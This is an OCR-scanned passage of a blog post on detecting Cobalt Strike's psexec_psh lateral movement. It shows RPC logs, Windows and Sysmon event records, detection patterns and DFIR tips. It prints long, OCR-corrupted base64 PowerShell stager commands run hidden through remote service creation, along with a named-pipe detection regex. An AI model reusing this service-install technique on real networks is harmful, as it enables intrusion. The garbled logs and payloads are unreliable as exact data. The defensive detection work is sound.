Image Path : \\127.0.0.1\ADMIN$\[SERVICE_RANDOM_NAME].ex e

CobaltStrike jump psexec_psh

CobaltStrike can laverage a PowerShell version of PsExec using the built-in module
psexec_psh with everything being executed in memory via a one-liner.

As previously noticed an interaction with SCM RPC server in order to create a service
remotely was observed. Bellow are the ZEEK DCE-RPC event logs with the same
operation as psexec & psexec64 CreateServiceWOW64A

Time « destination.ip source.ip zeek.dce_rpe.endpoint zeek.dce_rpc.named_pipe zeek.dce_rpc.operation
> Sep 19, 2021 @ 21:40:48.443 19.18.10.30 18.18.18.3 sveetl 63770 CloseServiceHandle
> Sep 19, 2021 @ 21:40:48.442 19.18.10.30 18.18.18.3 sveetl 63770 CloseServiceHandle
> Sep 19, 2821 € 21:40:48.441 10.18.18.30 16.18.18.3 sveetl 63778 DeleteService
> Sep 19, 2821 € 21:40:48.440 10.18.18.30 16.18.18.3 sveetl 63778 QueryServicestatus
> Sep 19, 2821 @ 21:40:48.257 19.18.18.30 18.18.18.3 sveetl 63770 StartServiced
> Sep 19, 2021 € 21:40:48.242 19.18.18.30 16.18.18.3 sveetl 63778 CreateServicelONG4A
> Sep 19, 2821 € 21:40:48.230 10.18.18.30 16.18.18.3 sveetl 63778 OpensCManagera

Followed by creation of a new service which generated EID 7045/4697 with
%COMSPEC% and powershell inthe Service File Name field.

A service was installed in the system.

Subject:
Security ID: 5-1-5-21-3278094647-2436619388-3189951255-508
Account Name: Administrator
Account Domain: ATLAS
Logon ID: @x2C8D5DE

Service Information:

Service Name: 9fce208

Service File Name: %COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand JABzADBATGBlAHCALOUBPAGIAaqBlAGMAdAAGAEKATWAUAEGAZOBTAGBACBSAFNAARYAGUAYOBTACQALABDAEMAD
WBUAHYAZOBYAHOAXQAGADOARGBYAGEADQBCAGEACWBLADYANABTAHOACQBPAGAAZWAOACTASAABAHMASOBBAEEAQOBBAEEAQOBBAEEAQQBLADEAVWA3 ADMAUABRAEBAQQBOACS ASABQADQASWEMAGMAOBNADCAUWBSAFEARQBUAE DACAAZAEUAMOB TAHKARD
AvAEBAQWABAFQARWBKAE SASABSAECAROBIAEKATQBQAEUAUQBGAGS AaQBSAHCAVEBEADCAdgA3ADgACgBHADMAUAAWAGBACGBAAHY ANGAr ADQA: QB3 ADAAUWBXAGOABABIAD CAegBEADYANWELADOAZ(BXAGCACOBPAEUAVAAXAFMAZ 9B 1AHGAUQBWAEgACOB
TAFEAUABNACBAUQBaAFMANQAZADMAIQBDADIAUQBYAGYADWE r ADUASABEAHCADWEBBAGEAgBhADAANABZAHCAYGBWAHMANWBY AGCANGBJAF 0AZ ABWADEAQQBWADAANGA r ADUACWB SAEUAVWBLAEK ARABNADGAdWBPAEWAMBZ AHEANWBJAGEATgATAGWASABS
AGBAUQB1AHEARWENAGWACABUAFDANWBTAHOAWQBDAHMAT QBKAFAAYQBYAENATOBEAE SAAQAr AGIACWBSAGQAVQL gBFADYACQAZADMAVWBEAHIANWBBAGYAVABEADKAKNBYAEKAZABDADAARQBDAGWAMNASAFUAMGENAFY AVOBWADY AVNEYA
EBAZQBDAHAATQBDADMAMQBEAFQADAASAFUAMABNAEWAZABMAEUADOBKAFEADArAGK ADAAXAGBACABGAGY AZWB j AHMANABOAFKAWABNAGYAawBHAFEASWEXAETACOABACSANGAZAECAQWBKAFEAUQBGAFOAOAAXADGANGBSAHAAL WAV AECARGBZ AGSAOABMAE
YAJABOAGOAYWBOAEOAAABKADAAMWBCAGKACOB1AGKACOA2AEQASB tAFCATWBPADCACABT ADGAYWBAAF cAdABXAECAbgAYAGY AQWBDADY ANOBWADQAC ABQAGY ADABDAC SATABEADQABWAZ AGCAOABTADUALWE 1 AHAANWABAF 0AMQBpAECAeQB4AHgABABEAEY
AMgAWAEYACQBxADY ADQBPAGEAYWBCAHKADWBOAGGAVOBY AHCASQBOAF AASBYAGEAKWE SAGIAVABLAGY ACAAWADKATWEZACSARABKAFMALWEVABSAVQASAFUARGBUAHC AJABYAE4ARGATAEIATOB XAGK AcAAWAGHMAIOB) AHOAZOBY AHCALWEVAE DAQUBUAHAL
(WB4AGEARWECAFUANABJAHEAaWBJAFTABWENAHCAWAAWAEKAdQABAEMASBYAFAAZWAT AEMACABOAEAASQBKACBASWBYAGOACQBUAGEAZWAY AHC AcgB JAFgAMOBVAHKAVAAT AFYAQQBhAHEAZQBF AGWAVAASAHCANABSAGY AZWA2 AEMAZ QA4 AFMAYWAXAETAT
WBEADKANOBMADAASOBTAEMALwATACSASOBWAGKAVOArADUANOASAGGAYOBYAHUAWGBYAFMAQGBGAF0ANABWAHCAUABTAEUACOA3AGBASgBZ ADAADOBS AHAAQGBDAF AATWBLAFQAUWBUACBAUGB T AFUAUWBTAFAAKWE 1 AEEAROBWAGWARGBF AEBACAAWAGOARD
BWAEQACGArAGWAZAAr ADAADOBZAHOAVABAAGWALWAWADKAQGBGAHAADBY AFEAUWBKAESAVAAT AGAARWBMAEOADWAVAGHAZ AAZAGUANOBNAHKADAAZAFKASQAVAGUADGA4ADEARABUADCADABYADY AUABPADMACAZAEY AQGBOAF QAKWENAGOAVABQAEEASWA
1ADk AzWBOAEQAZABMARK AcABUADE ARWBFADMAdWBLAECAWQEPAEEALWBEAFQATOBBADOASAAXAECAMAB] ADARRABFADAADWBKAEBAZAXAF 0ADWBYAF gAcAAXADEAYQAZAGHASgBWAFEASAT AGWAKWBBAFY AVOBNAEVANDAWAFOAaWAWAGAND BaAGOAQQAZ
ADTANgGBBAHYAegBTAGTANGBEAHAAIQBRAGOADABSAGOAUABWAFEAMGBUAEY AMgB1ADMANGBXADMATWAT AHOACGBDAFUAZQBUAFEATORVAGMANOBKAEgAagBr AFUATOQAr AHTADOBVAFQAVWBRACBAdOBHAGEARWBPAHEAZ BMAEKAMgAVADMATWAYAEGAVABOA
GSARQBTADUAYWBaAGBAMQBXAHYAUQBIAHEANAB1 AHMANABEAHEASGBPAFEAUQBIAFkAQGBoAHAARWEBE AHAACWBUAEGAVABL AEBAUWBS AHgAMWEBMAHAAYBY AFKADABSAGUANGBDADGAYQBYAGOAT gBRAHAWQAXAEL AeQBZAEMADQBDAGAATQBDAESASABZAE
OAUQBTAGOAUABDAHDAZGAr AGOASAAXAGIAUGBVAGMACABIAHIAUGBSAGUAZWBY AFQAUNBOAFY ADWBNAEWAN]BEAGAASABDAGSACOBVAFTAJABLAFUATOEMADOAS ALY ADUADGBK AF 0ASOBX AGQAYWBZ AHEAQUAT AGAARQBhAFMAQWBBAHC ANWBQAESADVANAGD
AZgBLAESAaABYAFTAdQABAGAANAB2ADAAQASADMANOBZ AERAVAAr ADQAVWBSAGY AMABrAEUAZWBGAE SAYWBSAECAT ABNAGEANGBYAETASQBKAGEBADWEMAEWANWBSAEQATABCAEQADQBOAEEATABXAF C ANABLAHMAY(BSAHYAVAAZ AHk AawBUAGEADQBHAGBA
VOBiADgASWBOAEQAZgB1AFgAbgA2 ADKARGE1AHgADOAXAEBACABBAEBAYWR3AFMALWBDAEgANWBSAFQAYOB2AF0ANgAZAFgAdgAXADC AWAASAEgADQB TAECAZ AAJAEAATWEXAGUAdGBaAGAAMgA4 AGEAV A AEUAMGBBAEBATBSAHIAVGBSAHUABABVAETAd
(QBZADIAaWAZAFAAVABTADYANAAXADGAdOBS AHOANABAGGAYYB1ADIADWE3AEgACWE SAFEAKWB1AGOADOBOAFKAVOBhAFALYOB1 AGQASgB3ADEAdGBY AEMACGB4AHOACHBIWAF AACOBMADUADOE | AEWAKWBKAGYAOBMAF 0A3QAZAF cAHOBLAGQALGASAGAAUW
A4AGGAMAAZAHEACQBVADTAOQBRAHEASAASAFgACWA3AHE AdgBNAHUANGBOADEAYWBY ADQAUABRADEAC gAY AGKAegB1ADQAMOBTAGYAZ gBJAHQACQB4AHUASWEBGADCACWABAHY ADAALAHYADOR 1 AECAZWArADYAWAB r AGW A gAY AEK AUQBRAGAACWEDAGYAZ AA
rAHEAQgBYAGWAOQBTAEQANOQAZAESAaGBYAFTANQAr ADMAYWBK AGMATAB1ADEANAA4AEY AcwBEAFgATOBMAGSAUQBTADUAZ gBZ AHTASgAWADQACBBAF TATgB3AGEANOB SAHQAZ gBTAEBATABXAGOAY WAV AGWAMOASAE gANWBYAGSAVOBWAHCAeAB3AGOAYBA
ADIAdOQBYAFCANWAXADYAYQBVAGUAMKASAHYANOBSAEQAUQAZAECAbWABAGUAWABWAGUATWEBBACEBATABWAGEADABIAHUASABZAEMAUAR1AGk AcQBZAGA ANQBPAEGAdABPAF CARAAY AHC ADQBTAGMADBRAHUAQUESAGUAUALBAFMAMWE tAEKADQBIAHMADAAT A
DTAUQAVADCA3gBMAGC ANWBBAEBA QB3 AEKAZOBVAE4AKWAYAGTARABZ AFEAVOAXAEBASWE 1ADTAUABNAEUATOBDAGUAZ ABMAHO AR AAS AGOADWBK AEBANOBBAE4AARSAHMAdABMADC ANABNAEQ AL WBWAGUAYWBK ADAAOABY ADY AMAAZ AEQAVOBE AFKAZWEMAC
BAMAB]ADEAVWBLAE0ACGBAAGQANQE JAFMACAAZAFQANAB2ZAHGADOBGAFQAVOBYAGWAUABAEQAMWBAAGSACWBDAGY ADABUAHUAVgASAFKAMOB3 AFoATWEXAHOAUQASAGKANOBXADQAOAAVAEGAZGBYAHTAbWB1AEBAZ gBAAFgAYgBKAHE ANWA 1 AHQARQASADE
ASABLAGEADABaADUAWABNAEMAYWAYAESAbgBLACSAegE] AEMALWBIAFcAb AEOARQAZAHCAQQBZ, bwBBADUALWASADGANWBTAC BAZgBBADQATOBGAGAAZGBUAGIATGA T AGUALWE3AHUAeGBIAGQAZWBYAGY AeQB1ADUADQBCAHKARQE 1 AEUAVAATAHIA
MARXAHOAUABWAFKASOBHAGYATOBNAEOARDE3AGKATABJADIAMAB T AESAG0BKAFIAZWBUAFEAKWAT AHLARABKAESAQAAVAFEAWAAWAFE ABWEWAEE ARWB IAHCATWABAFAAMOBRAEYAVOArAFYATOBVADCAMABBAEgACABQAEUACWBFADDAY ABVAGY AaWBGAEOAC
QBNAEEA=(BGAEWADAAZACSAdOBMAEGAUQBVAGGASWBTAF gAeABGAFEAUABQAFMAOABAAEUADWE JAEKACWAXAGBAWGBDAF gANWAAACSAQQBY AEMAQAT ACSAQQAYAE SAUABCAFEAaGAZAGAAVOBXAGWANABMAHAAVGBLACSAdgASAF YARQB] AHTADOBPAGKAEA
AXAHYAbWA3AE4AbWA3AGBADABIAHAASQBUAGAACABEAGUACABKAESAY gBYAEEAUAAZ AEKAZWBAAF cAOQBGADKATOBIAEEAKWBYACBAbGASAGBAT GBY AGoASgBUAEQAMOBDAGWASgBGADAATWBS ADUAVWBEAH Y AS0BVAHK ADQB r AGUATWBOAGBAWAAVAGIANQE
1AGSAWABTAEQAYQBOAEWAJOBTAFKAVWBGAESAaQBOADUASABKADYAYWBTAFEADAAXAHOANWBHAEY ANWBPAFKAWQBUAF CAUAAWAEAUGBYAGCAGBLAGBACWEY ADgASWA3AFUACOBAAEMAMWBIWAETAUGATr AGEACgAr AGQACYBIAFKAVABSAF CALWBVAFgAdABL
AESARABSAEQAQWESADAAKWECADUAWGBTAGAASOB2AGEAZ ABHAEOARQBDADGAUABLAGYAdWBGADgABABDAHUATABSAHCACWBBAEEANQAIADBATgAPACKAOWB JAEUAWAAGACOATBLAHCALOBPAGT AagB1 AGMAdAAGAEK ATWAUAFMA ABYAGUAYQBTAFTAZOQBhA
GOAZQByACQATgB1AHCALQBPAGIAagB1AGMAJAAQAEKATWAUAEMADWB T AHAACOB1AHMACWBPAGBADQAUAECAe gBPAHAALIWBBAHTAZOBhAGBAKAAK AHMALABDAEKATWAUAEMADWB T AHAACB1AHMACWBPAGBADQAUAEMADWE TAHAACGB1 AHMACWBPAGBADGBNAG
SAZABLAFBACQAGAEQAZOB]AGBADOBNAHIAZOBZAHMAKOADACKALGBSAGUAYQBRAFQADNEF AGAAZAADACKADWA=S

Service Type: ax18
Service Start Type: 3
Service Account: LocalSystem
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PowerShell's EID 400 can be used as a detection opportunity where
HostApplication contains powershell -nop -w hidden -encodedcommand .

Engine state is changed from None to Available.

Details:
NewEngineState=Available
PreviousEngineState=None

SequenceNumber=13

HostName=ConsoleHost

HostVersion=5.1.19841.986

HostTd=d3299d66-df93-428b-b4c2-175322798F8c

HostApplication=powershell -nop -w hidden -encodedcommand JABzADBATQBLAHCALOQBPAGIAagBlAGHMAdAAGAEKATWAUAEBAZOBAGEACBSAFMAABYAGUAYDBtACGALABDAEMADWEUAHY AZOBYAHQAXDAG ADOARYBYAGBADQBCAGEAL
WBLADYANABTAHOACOBPAGAAZWAOACTASAABAHMASOBBAEEAQOBBAEEAQOBBAEEAQOBLADEAVWA3ADMAUABRAEBAOGBOAC SASABOADOASWBMAGHASOBNADCAUWBSAFEAROBUAEDACAAZ AEUAMOBTAHK ADDAVAEBAQWAB AFOARWBKAE SASABS AECAROBIAEKAT(R
AEUAUgBGAGSAAlBSAHCAVYBOADCAdA3ADGACBHADMAUAAKAGEACOBAAHY AWgAT ADOACOBI ADAAUNBXAGQADABLADCAgBEADY ANWELADQAZOBXAGCACOBPAEUAVAAXAFMAZQE T AHGAUQBIAEGACQBTAFEAUABNACBAUQBAAFMANQAZADMAIQBDADT AUQBYAGY
AbwBrADUASABGAHCADWBBAGBAdQBRADAAWABZAH Y AGCANGBJAFOAZABNADE AQQBWADAAWGAT ADUACWE SAEUAVWELAEKAWABNADgAdwBR AEWAMQBZ AHEANWBJAGEAT A1 AGWASABAAGBAUOB1AHEARWBNAGWACABUAF DANWBTAHOAWGBDAHMATQ
BKAFAAYQBVAEWATOBEAESAaQATAGOACWBSAGQAVOBEAGOACOBWAGMANGBFADY ACOAZADMAVWBE AHTANWBBAGY AVABEADKAKWBYAEK AZ ABDADAAROBDAGWAMWALAFUAMOBWAFYAVOBWADY AVWBY AEBAZ gBDAHAATgBDADMAMOBEAFQAOAASAFUAMABNAEWAZ ABMA
EUABGBKAFEAbGATAGKADAAXAGOACABBAGYAZNE ] AHMANABDAFKAWABNAGY AawBHAFEASWEXAETACOABACSANGAZAECAQWBKAFEAUGBGAF 0ADAAXADGANGBSAHAALWAYAECARGBZAGS ADABMAEY AdABOAGOAYWBOAEOABABKADAAMWBC AGKACOBLAGKACOAZAEQA
SQBtAFcATWBpADCACABTADGAYWB4AFcAdABXAECADgAYAGY AQWBDADY ANOBWADQACABOAGY ADABDAC SATABEADQAaWAZ AGCAOABTADUALWE 1 AHAANWABAF 0AMOBPAECAEQBAAHOAAABEAEgAMg AWAE YACOBXADY AbOBPAGEAYWBCAHK AQWBOAGQAVOBVAHC A2QB
OAFAASQBYAGBAKWBIAGIAVABLAGYACAAWADKATWBZACSARABKAFMALWBVAGSAVOAZAFUARGBUAHCADABVAE4ARGAT AETATOB X AGkACAAWAGHAdOBJAHOAZOBY AHCALWBYAEQAQDBUAHAAQWBAAGEARWBCAFUANABJAHE AawBJAF TAbWBNAHCANARWAEKAGABAE
MAegBYAFAAZWATAEMAABOAEAAROBKACBASKEYAGQACOBUAGBAZ why AHC AegB JAFgAMOBY AHKAVAATAFYAQQBhAHEASQBFAGWAYAASAHCANABSAGY AZWAZAEMAZOALAFMAY WAXAETATWBEADK ANQBMADAASOR 1 AEMAL WA ACSASQBWABKAVGAT ADUANQA3AGQAY
QBVAHUAWGBYAFMAQGBGAFDAMABWAHCAUABLAEUACOA3AGBAGBZ ADAADOBSARAAQGBDAFAATWBIAFQAUWBUACBAUGB T AFUAUWBTAFAAKWE T AEE. BFAEBACAAWAGOARQBWAEDACQArAGWAZ AArADAABOBZ AHOAVAR A AGWALWAWADKAQDBGAHAADGRY
AFEAUWBKAESAVAAT AGAARWBMAEOADWAVAGHMAZAAZAGUANCENAHKADAAZAFKASOAYAGUADGALADEARABUADCADABY ADYAUABPADMACQAZAE Y AQgBOAFQAKWENAGOAVABAEEASWAT ADKABWBOAEQAZABMAHK AeABUADEARWEFADMAdWBLAEC ANGBPAEEALWBEAFD
ATgBBADQASAAXAECAMAB jADAARABF ADAADWEBKAEBAZgAXAFOADWBYAF gAcAAXADEAYQAZAGWASgBWAFEASQATAGWAKWBBAF Y AVOBNAEWANgAWAF 0AawWAWAGANGBaAGIAQgAZADTANGBBAHY AegBTAGT ANGBEAHAACOBRAGOADABS AGDAUABWAFEAMGBUAE Y AN
BLADMANGBXADMATWAT AHOACQBDAFUAZQBUAFEATOBYAGHANCBKAEAAQBTAFUATQArAHLADQBY AF QAVWBRACBAOBHAGEARWBPAHEAZOBMAEK AMgAVADMATWAYAEQAVABOAGSAROBT ADUAVWBAAGEBAMOBX AHYAUQBTAHEANAB 1 AHMANABE AHEASOBPAFEAUQBIA
FkAQgBoAHAARWEEAHAACWBUAEQAVABLAEBAUWBS AHgAMWEMAHAAY gBY AFKADABSAGUANGBDADGAY 0BYAGBATgBRAHGANQAXAE TAQBZAEMADOBDAGAATOBDAE BAeABZAEOAUGBTAGOAUABDAHOAZGAT AGDASAAXAGIAUGBVAGHMACABLAHTAUGBSAGQAZWEY AFQA
UwBoAFYAbWBNAEWANGBEAGAASABDAGBACQBVAFTAdABIAFUATgBMADDASAAYADUADGEKAF0ASQBXAGGAYWBZ AHEAQQAT AG4AROBhAFMAQWBBAHCANWBOAESAbWAWAGOAZ gBLAESAAABYAFTAdgABAGAANAB2ADAA 5 AEGAVAATADQ AMAB
rAEUAZWBEAESAYWBSAEOATABWAGEANGBYAEIASBKAGEADWBMAEWANWBSAEQATABCAEQADQBOAEEATABXAFCANABLAHMAYQBS AHYAVAAZ AHk AawBUAGEADQBHAGOAVIB1ADGASWEOAEGAZQB1AFgADgA2ZADKARQE 1 AHgADOAXAEBACABRAE BAYWB3AFMALWEDAE
QANWESAFQAY(B2AF0ANgAZAFQAdgAXADCANAAZAEGADOBTAECAZ ALAAEAATWB XAGUAdGBaAG4AMg A4 AGEAVGAT AEUAMQBBAEBATYBSAHTAVBSAHUADABVAET AdQBZADTAawAZAFAAVABT ADYANAAX ADGADOB3 AHOAWABWAGOAY gB1ADTADWB3AEQACWESAFEAK
WEB1AGOADOBBAFKAVOBhAFAAYQR1AGOACQB3ADEAGBY AEMACOBAAHODACHEWAF AACOBMADUACOB 1 AEWAKWBK AG AdOBMAF0AS0AZAF CAKOBLAGOAUGASAGAAUWASAGIAMAASAHE ACQRVADTADDI ASAASAFgAC s JANGBOADEAYWBYADQAUABH
ADEAcgAyAGkAegBlADQAMOBIAGYAZGBJAHOACOBAAHUASWEBGADCACWABAHY AQAALAHYADQBT AECAZWAT ADYAWABT AGWAegAYAEKAUQBNAGAACWBPAGY AZAAr AHEAQQBY AGWAOQBTAEGANQAZAE sAagBY AR TANQATADMAYWEKAGMATABT ADEANAAZAEY ACWBBAFG
ATOBmMAGSAUQBTADUAZgBZ AHTASgAWADQACORBAFTATOB3AGEANOBSAHQAZ BT AEBATABXAGQAYWAVAGNAMOASAEY BwAHCA2AB3, ¥gBBADTAOBYAFcC, AYQBVAGUAMWA3AHYANOBSAEQAUQASAECADWABAGUAWABWAGUATWEBBACEATA
BIAGBADABIAHUASABZAEMAUABIAGKASQBZAGAANOBPAEBAdABDAF CARAAVAHCADBIAGHADgBRAHUAGGBSAGUAUAABAF MAMWE tAEKAOBIAHMADAA rADTAUQAVADC AagBmAGCANNEBAEGAegB3AEKAZOBY AEAAKWAY AGTARABZAFEAV gAXAEBASWBLADIAUABNA
EUATQBDAGUAZABMAHOARAA3AGOADWBKAEBANQBAAEAAABS AHMACABMADCANABNAEGAL WBWAGUAYWBKADAAOABYADYAMAAZ AEQAVOBEAFKAZWBMACBAMABJADEAVWBLAEOACOBAAGANGE JAFMACAAZAFDANAB2 AHgADOBGAFQAVQBY AGWAUABI AEQAMWBAAGSA
CWBDAGYADABUAHUAVQASAFKAMOB3AFOATWEXAHOAUQASAGK ANOBXADDADAAVAEBAZGBY AHIAbWB1AEBAZGBEAF gAYQBK AHE ANWATAHQAAGASADEASABAGE ADABaADUAWABNAEMAYWAYAESADGBIACSAeQRTAEMALWB3AFCADQAWAEC ARDAZAHC AQBZAGC AbWB
BADUALWASADGANWBTACSAZQBOADOATOBGAGAAZGBUAGIATAT AGUALWEIAHUASgBIAGOAZWE YAGY AeQBIADUADOBCAHKAROB1AEUAVAAT AHIAMAAX AHQAUABWAFK AeQBHAGYATOBNAEQARQB3AGKATABJADIAMAB AEsAa0BKAF TAZWBUAFEAKWAT AHIARABKAE
AAOAAVAFEARAAWAFEAZWBIWAEEARWBIAHCATWABAFAAMOBRAEY AVOAT AFYATOBVADCAMABBAE gAcABAEUACWBF ADQAVABVAGY AawBGAEOACgBNAEEAQBEAEWADAAZACSADOBMAEQAUQBY AGGASWBT AF gAcABGAFEAUABQAFMACABAAEUADWE JAEKACWAXAGEAW
QBDAFgANWA4ACSAQQBYAEMACQATACSAQQAYAESAUABCAFEAGAZAGLAVOBXAGWANABMAHAAY gBLACSADGASAFY AeQB JAHTAQOBPAGKAAAXAHY ADWAS AE4ADWA3 AGBADABIAHAASQBUAGAAC ABOAGUAC ABKAE SAY By AEEALAAZ AEKAZWB4AF CAOQBGADKATOE3
AEEAKWBYAC8AbgASAGBATQBYAGOASGBUAEQAMQBDAGWARGBGADAATWESADUAVWBEAHYAR(BY AHKADOB r AGUATWBBAGOANAAVAGANOBLAGSAWABTAEQAY gBOAEWAdOBTAFKAVWEGAE sAQBAADUASABKADYAYWBTAFEADAAXAHOANWBHAEY ANWBPAFK AWQBUAFC
AUAAWAEQAUQBVAGCAdGBLAGEACWBYADQASWAZAFUASOBAAEMAMWBWAE TAUGAT AGBASQArAGGACBIAFKAVABAAFC ALWBVAF gAJABL AESARABSAEQAQWBS ADAAKWECADUAWGBTAGAASOB2 AGEAZ ABHAEOAROBDADGAUABLAGYAdWBGADJADABDAHUATABSAHCACW
BEAEEAQQA9ADBAIGAPACKAOWBJAEUAWAAGACIATGBIAHCALQBPAGIAagB 1AGMAdAAGAE KATWAUAF MAABY AGUAYQBLAF TAZOBhAGOAZOBYACATgB1AHCALOBPAGIAagBl1 AGMAAAGAEKATWAUAEMADWB T AHAACGBIAHMACWBPAGEAbgAUAEC A gBPAHAAUWBEA
HIAZOBhAGOAKAAKAHMAL ABDAEK ATWAUAEMADWBTAHAACOBLAHMACWBpAGBADQAUAEMABWE tAHAACQB1AHMACWBPAGEADBNAGBAZABLAFGAOQABAEQAZ (B AGEADOBWAHT AZOBZ AHMAKQAPACK ALGBSAGUAYQBKAFQADWBFAGAAZ AAOACKAOWA=

EngineVersion=5.1.19841.986

Runspaceld=36b&6@aa-1806-45df-a53b-2f59b48874b0

Pipelineld=

CommandName=

CommandType=

Pipe creation with regex pattern status [0-9a-f]{2} was also observed. | provided
bellow a gist with several regex pattern to detect hard coded named pipes in
CobaltStrike modules. Bellow is a EID 5145 that can be used for this purpose but |
encourage you to sysmon instead for it high event traceability quality.
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w A& network share object was checked to see whether client can be granted desired access.

Subject:

Network

Security ID:
Account Name:
Account Domain:
Logon ID:

Information:
Dbject Type:
Source Address:
Source Port:

Share Information:

Access Request Information:

Share Name:
Share Path:

Relative Target Name:

Access Mask:
Accesses:

Access Check Results:

5-1-5-21-3278694847-2436619308-3189851255-586
Administrator

ATLAS

BxZ2CBEZBB

File
18.18.18.3
29939

W\ IPCS

status_487c

Ax12819F

READ_CONTROL

SYNCHRONIZE

ReadData (or ListDirectaory)
WriteData (or AddFile)

sppendData (or AddSubdirectory or CreatePipeInstance)

ReadEA

WriteEA
ReadAttributes
WriteAttributes

Cobalt Strike Named Pipe Regex.csv

Interacting with the beacon via the CS shell command would invoke a cmd.exe

instance.

process.executable

process.pid

user.name

user.domain

process.parent.pid

process.hash.md5

process.args

process.args

process.args

process.args

process.args

process.args

C:\Windows\
SysWOW64\
WindowsPowerShell\v1.
O\powershell.exe
19268

SYSTEM

NT AUTHORITY

18760
c32cadacfcc635ecieabed8als
powershell

-nop

-w

hidden

-encodedcommand

JABzADOATGBIAHCALQBPAGIAa

ANALYZED EVENT - RUNNING PROCESS
cmd.exe

P

N
e

g RUNNING PROCESS

powershell.exe

1file | 17 network

T
gy,

“ o RUNNING PROCESS

Executing commands via psexec_psh module
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This pattern alone is very suspicious and can be a good detection opportunity for default

usage of psexec_psh command.

jump psexec_psh

Y

services.exe - cmd.exe

powershell.exe

The following are the event logs | observed during the demos:
EID
Action
Provider
Comment
5145
Network Share Access
Microsoft-Windows-Security-Auditing
Relative Target Name : status_[0-9a-f]{2}
Share Name : \*\IPC$
7045
Service Creation
System
Service File Name contains : %COMSPEC% or powershell
4697
Service Creation
Microsoft-Windows-Security-Auditing

Service File Name contains : %COMSPEC% or powershell

cmd.exe
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17

Pipe Created

Microsoft-Windows-Sysmon
Command Line : \\127.0.0.1\ADMIN$\ [SERVICE_RANDOM_NAME].exe
Parent Command Line : C:\Windows\System32\services.exe

18

Pipe Connected

Microsoft-Windows-Sysmon
Image Path : \\127.0.0.1\ADMIN$\[SERVICE_RANDOM_NAME].ex e

1

Process Creation

Microsoft-Windows-Sysmon
Command Line Arguments : powershell, -nop, hidden, -encodedcommand
Process Name : powershell.exe

Parent Process Name : cmd.exe

Sigma Rules

Detection Validation

Atomic Red Team provides a good start to validate your detection against some of these
attack techniques:

atomic-red-team/T1569.002.md at master - redcanaryco/atomic-red-team

GitHub

DFIR
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You can use the following CyberChef recipe to decode and extract shellcode
information executed by psexec_psh command.

CyberChef/Cobalt Strike recipe for JABz.txt at main - SophosRapidResponse/CyberChef
GitHub

You can list created pipes using Get-chilIt em PowerShell cmdlets
1
Get-Childltem \\\.\\pipe\\
Copied!

Systinternal has a dedicated tool that also can be leveraged for the same purpose.
Pipelist - Windows Sysinternals

docsmsft

Closing thoughts

This blog post series of Detecting CONTI CobaltStrike Lateral Movement Techniques is
focused on default usage of CS built-in capabilities meaning that sophisticated attacker will
be able to change these settings and evade detections based on them thanks to CobalStrike
modularity. My hope is to increase awareness at least about the telemetry that needs to be
audited and qualified, how to correlate it and how to respond to relevant attacks in order to
increase the time, effort and skills an APT has to invest in order to compromise your assets.

You can read my previous post on Detection Engineering_ Dimensions Analytics part where |
discuss analytic resilience.
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https://www.unh4ck.com/detection-engineering-dimensions/analytics

